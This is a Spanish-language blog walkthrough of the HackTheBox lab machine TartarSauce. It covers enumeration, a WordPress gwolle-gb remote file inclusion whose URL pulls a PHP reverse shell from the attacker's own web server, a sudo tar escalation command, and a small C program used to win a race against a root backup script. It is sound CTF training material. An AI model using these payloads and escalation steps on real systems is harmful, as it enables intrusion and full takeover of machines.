TartarSauce – HackTheBox Write-Up

TartarSauce – HackTheBox Write-Up

Hoy vamos a resolver la máquina TartarSauce de HackTheBox, en ella, gracias al fuzzing lograremos identificar un directorio donde hay un WordPress con algunas vulnerabilidades que, podemos explotar para obtener un primer acceso y luego, gracias a aprovecharnos de la ejecución de un script podremos escalar privilegios al usuario root.

Dificultad asignada en la plataforma: 5.9/10

Dirección ip de la máquina en mi caso: 10.129.1.185

Enumeración

Lo primero, como siempre, hacemos un escaneo con furious de todos los puertos existentes:

furious -s connect -p1-65535 <IP>

Eso nos arrojará los siguientes resultados:

Tartar Sauce HackTheBox Furious

Ahora, hagamos un escaneo más profundo con nmap a este puerto en concreto, al hacerlo, veremos información muy interesante:

nmap -sC -sV -p80 <IP>

Escaneo con nmap

Vemos que en el robots.txt hay 5 entradas deshabilitadas, así que vamos a revisar ya de forma manual la página web, de igual forma dejo por aquí un reconocimiento básico que le hice al servicio http con diversas herramientas como whatweb y wafw00f:

Ahora, entrando a la web, vemos lo siguiente:

No hay nada muy relevante, solamente que al revisar el código fuente, al final del todo, hay un comentario y nada que ver por ahí:

Recordando el escaneo de nmap, vámonos ahora al robots.txt:

Veremos que tiene efectivamente 5 directorios deshabilitados para indexación, al entrar en algunos, pude percatarme que, en concreto, el directorio /webservices/monstra-3.0.4/ lleva a una página desarrollada bajo un CMS:

Aquí vemos un mensaje que nos da la bienvenida a “Monstra” esto último es un CMS y, si somos atentos, veremos que en la URL nos pone la versión de este CMS, la 3.0.4 y, justamente para esta versión hay varios exploits que podemos usar disponibles en exploit-db, además de comentar que, para logearnos dentro de este CMS debemos hacerlo a través del directorio /admin:

Buscando credenciales por defecto, probé con admin:admin y me dejo entrar, aunque la verdad no le preste mucha atención a esto ya que, esto me parecía un caso clarísimo de rabbit hole, entonces antes de hacer cualquier cosa, volví a los robots.txt porque me fijé de algo interesante:

Podemos ver que, como ya sabíamos, tenemos estos directorios sin indexar, pero, es interesante que todos están dentro del directorio /webservices/ y, se habla en plural por lo que, puedo intuir que a lo mejor hay más servicios corriendo y no solo los que no están indexados, entonces toca hacer fuzzing con gobuster a ese directorio, para ello:

gobuster dir -u <URL> -w <wordlist>

Al hacerlo, veremos que nos detecta un nuevo directorio que no salía en el robots, este directorio se llama “wp”, por lo que intuyo que puede ser un wordpress:

Al entrar al directorio en cuestión podemos ver que es un WordPress bastante desactualizado, confirmado por Wappalyzer y un vistazo rápido al código fuente:

Entonces, al estar dentro de un WordPress, usaré una herramienta que también se usó en la ColddBox: Easy, wpscan, en primer lugar voy a enumerar los usuarios y plugins para, por ejemplo, intentar acceder al dashboard y establecer una shell reversa, para ello:

wpscan –url <URL> –enumerate p,u

Al hacerlo, veremos que en realidad no nos detecta nada muy útil, ni plugins ni usuarios:

Análisis a la máquina Tartar Sauce con wpscan

Vemos que no detecta ni usuario ni plugins porque nos dice que no pudo de forma “pasiva”, entonces, podemos volver a usar wpscan pero, esta vez diciéndole que enumere los plugins de una forma agresiva (esto suele ser bastante ruidoso pero como estamos en entornos controlados, sin problemas), para ello:

wpscan –url <URL> –enumerate p,u –plugins-detection aggressive  

Y ahora sí nos enumera algunos plugins e información interesante:

Explotación

Al ver estos plugins y ver que varios estaban desactualizados, investigué un poco y encontré que, para el plugin “gwolle” tenemos un exploit en Kali que nos servirá para intentar hacerle RFI:

Al leer un poco sobre este exploit, nos damos cuenta de que, tenemos un parámetro que al viajar no se le hace una sanitización de forma adecuada antes de que se utilice en la función require, entonces, nos vamos a aprovechar de esto para obtener una shell reversa, así que nos debemos ir a la siguiente url:

http://[host]/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://<IP>/

Entonces, hagámoslo, primero es tener la shell, usemos una del mono pentester, para variar, la descargamos y la llamaremos, wp-load.php ¿por qué este nombre?, sencillamente porque cuando hacemos la petición, tenemos en nuestra máquina un servidor web Python corriendo por ejemplo, la máquina victima solicita un fichero llamado wp-load.php, fichero que no tenemos y por ende nos arroja un 404, entonces si nos creamos dicho fichero y le ponemos la shell adentro, la máquina lo solicitará, lo obtendrá, lo ejecutará y ya que escribí muchas palabras que terminan en “rá”, vamos a hacerlo:

Ahora, la modificamos y ponemos nuestra ip y el puerto al que nos llegará la shell:

Ahora, vamos a iniciar un servidor http con Python en nuestro directorio activo (ya que en este directorio tenemos la shell en cuestión y, es donde buscará algo llamado “wp-load.php”), para ello usaré python3:

python3 -m http.server <puerto>

Y, seguidamente nos ponemos a la escucha en el puerto que pusimos en la shell, en mi caso el 443:

Ahora, si nos vamos a la URL que nos daba el .txt de antes y, le decimos que queremos que apunte a nuestro servidor web que levantamos y que use el “wp-load.php” que, es nuestra shell, debería verse algo así en el navegador:

Al ejecutar esto, veremos que, efectivamente ha sacado el “wp-load.php” de nuestra máquina, se ejecutó el código y, ahora tenemos una shell como www-data:

Después vamos a hacer un tratamiento de la tty, hagámoslo de forma manual, primero hacemos un:

script /dev/null -c bash

Luego, damos CTRL + Z para poner la sesión en segundo plano y, luego, en nuestra terminal ejecutamos:

stty raw -echo

Luego, escribimos “fg”, esto no te lo mostrará por pantalla en la mayoría de los casos, así que asegúrate de haberlo escrito bien, esto lo que hace es traer netcat al primer plano, luego de esto escribimos “reset” para reiniciar la configuración de la consola y seguidamente le especificamos que use xterm como tipo de terminal:

Y al darle a enter, veremos que la shell se reinicia y la obtenemos de forma interactiva, pero, si queremos borrar la pantalla con CTRL + L o con clear, nos pasará esto:

Esto se debe a que, aunque le hayamos dicho que queremos que use xterm a nivel de term, este no la usa, así que debemos alterarlo de forma manual, para ello:

export TERM=xterm

Y al hacerlo ya obtendremos una shell bastante interactiva que nos sirve perfectamente para la labor de resolver esta máquina.

Bueno, volviendo con la máquina como tal, ya tenemos acceso como www-data pero, si intentamos leer el user.txt no podremos, esto se debe a que, no tenemos ningún permiso sobre el directorio home del usuario onuma, que es el usuario del sistema:

¿Qué podemos hacer en este punto?, escalar privilegios, veamos que se puede ejecutar como sudo con un sudo -l:

Vemos que, como www-data podemos ejecutar el binario tar como el usuario onuma, vamos a explotar este fallo de seguridad, para ello podemos ir a GTFOBins para ver cómo podemos hacerlo con este binario:

Nos dice que, debemos ejecutar ese comando, pero, nosotros tenemos que indicarle al sistema que queremos ejecutarlo como onuma, para ello:

sudo -u onuma /bin/tar -cf /dev/null /dev/null –checkpoint=1 –checkpoint-action=exec=/bin/bash 

Al hacerlo, somos onuma:

Y, ya podemos leer la bandera de usuario:

Ahora, toca escalar a root, porque no podemos leer el root.txt:

Escalación de privilegios

En este punto, busque ficheros SUID a ver si la máquina tenía alguno, pero nada, pero me fije que hay un fichero del cual root es propietario y que está dentro del directorio home del usuario con el que estamos actualmente logeados:

Así que, en este punto, importe pspy para detectar procesos, entonces lo que hice fue, ejecutar un servidor http en Python y con wgel, traer pspy a la máquina vulnerada:

Luego, le damos permisos de ejecución y ejecutamos pspy32, al hacerlo se puede ver algo muy interesante:

Encontramos este fichero en /usr/sbin, que al verlo por dentro se puede apreciar que, a rasgos muy generales, básicamente, como el usuario onuma, toma todo lo que está en /var/www/html, lo guarda como un fichero gzip en /var/tmp, el nombre del fichero comenzará con un “.” seguido de un hash sh1 aleatorio y, finalmente root lo descomprime y verifica la integridad del archivo después de 30 segundos desde que fue creado.

 

¿Cómo lo explotaremos?, pues necesitamos reemplazar el fichero gzip por uno propio cuando el periodo de tiempo de los 30 segundos esté activo, en dicho fichero vamos a asignarle permisos y dejarle como está la estructura de directorios que maneja el script de la máquina víctima, es decir crearnos un var/www/html y ahí guardar nuestro programa, programa hecho en c que, puede ser algo como esto:

#include <stdio.h>

#include <unistd.h> 

int main (void) {   

          char *argv[] = { “/bin/bash”, “-p”, NULL };   

          execve(argv[0], argv, NULL);

}

Una vez hecho, lo compilamos, creamos los directorios, agregamos permisos y lo movemos:

Luego, lo pasamos a la maquina victima con un servidor de Python:

Una vez el script original se ejecute, copiamos el hash generado y movemos nuestro script a /var/tmp/ cambiándole el nombre a el del hash y haciéndolo un fichero oculto (con el punto al principio), luego, ejecutamos nuestro fichero en /var/tmp/check/var/www/html y obtendremos la shell con user id como root:

Finalmente podemos leer la bandera de root.txt:

Opinión personal

  • Dificultad de acceso: 36% 36%
  • Dificultad de escalación de privilegios: 49% 49%

He hecho esta puntuación basándome en estos valores propios:

Fácil1% – 30%

Medio: 31% – 70%

Difícil: 71% – 100%

Anuncio

Sobre el Autor

Martin Frias

Founder of Coldd Security

1 comentario

  1. Luis Alberto Quispe

    Justo es lo que andaba buscando, muchas gracias. Saludos desde Perú

    Responder

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Información adicional sobre protección de datos:
Responsable: Martin Frias.
Finalidad: Moderar los comentarios de este sitio web.
Cesión: NO se cederán a nadie, salvo obligación legal.
Derechos: Acceso, rectificación, cancelación y borrado de tus datos.
Legitimación: Tu consentido expreso.

REDES SOCIALES

Newsletter

Estadísticas

  • 163.172
  • 55

TheHackerSnow

0

Share This